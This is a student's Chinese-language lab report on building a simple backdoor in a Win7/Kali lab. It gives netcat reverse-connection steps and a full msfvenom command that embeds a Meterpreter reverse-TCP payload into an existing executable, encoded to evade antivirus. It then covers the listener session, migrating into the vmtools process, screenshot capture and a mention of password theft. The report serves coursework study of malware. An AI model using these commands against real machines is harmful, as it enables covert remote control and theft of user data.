实验二:MAL——简单后门
一、后门是什么?
哪里有后门呢?
编译器留后门
操作系统留后门
最常见的当然还是应用程序中留后门
还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
二、认识netcat
这是一个底层数据,常被与其他工具结合起到后门的作用。
准备工作:
一个win7系统和一个Kali系统,还有Windows下的netcat应用。
步骤:在Windows下打开监听
用Linux反弹连接Windows
接下来就可以在Windows命令行下输入一个linux shell,这里就使用ls指令查看文件和文件夹(注:由于我的linux下存在汉语文件目录,所以显示在Windows界面下出现了汉语解码问题,看起来是错误的但实际上是汉语)
这样就可以看出来效果了!
三、制作一个后门程序
生成一个5104_backdoor.exe复制到Windows下
当然,也可以用netcat传输……
我们准备了一个程序:20155104.exe是一个自己曾经制作的一个Windows可执行文件,放在linux目录下。
敲入代码:msfvenom -p windows/meterpreter/reverse_tcp -x ./20155104.exe -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.43.74 LPORT=5104 -f exe > 20155104_backdoor.exe
这里引用一段老师的资料:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
输出到哪个文件
注:这个实验要求我们关掉Windows杀毒软件,作为一个经典的后门制作程序,正常的杀毒软件一定会发现的……
四、MSF打开监听进程
打开msfconsole,按照操作来一遍!
这个时候在Windows下打开我们准备好的后门程序(双击运行即可,无需其他操作)
一打开文件,linux这边会自动检测到连接,现在我们已经取得了Windows端的控制权,于是我们尝试了一个Windows命令行dir查看当前文件夹。
看到这个界面,表示我们的操作是成功的了!
五、我们做一些其它有意思的东西
获取一个命令行界面!
(有那么一点玩脱了的意味,不过脑残一下,这个不重要)
现在我们玩个进场迁移吧!
用ps命令检视Windows进程,看到了这么多(界面受限没有截到输入的那个ps)进程,我决定对这个vmtools进程下手
成功了,进程迁移到了VMtools这个进程上,这样就不必担心用户关闭当前进程了!
现在让我们来截个图:
嘿嘿,看到了吗!界面成功截取了下来,放在了root文件夹下!
还可以偷取用户登录密码,等等。。。以后再自己试一试!
六、实验感受
在这次实验过程中其实是遇到了很多问题的,我用的Windows系统是win7 x86的32位运行系统,所以一开始找了一个64位可执行文件的时候提示出了错,后来重新改成了一个32位运行程序才避免了问题。
实验在验收前自己试着做过一遍,图片里可以感受出来~
而且代码中有一个编译轮数为5的指导代码会导致后门程序在启动运行时出错,这个在摸索了好几遍之后去掉了编译轮数,成功避免了再次出错。
总而言之,成功是建立在多次尝试以后的。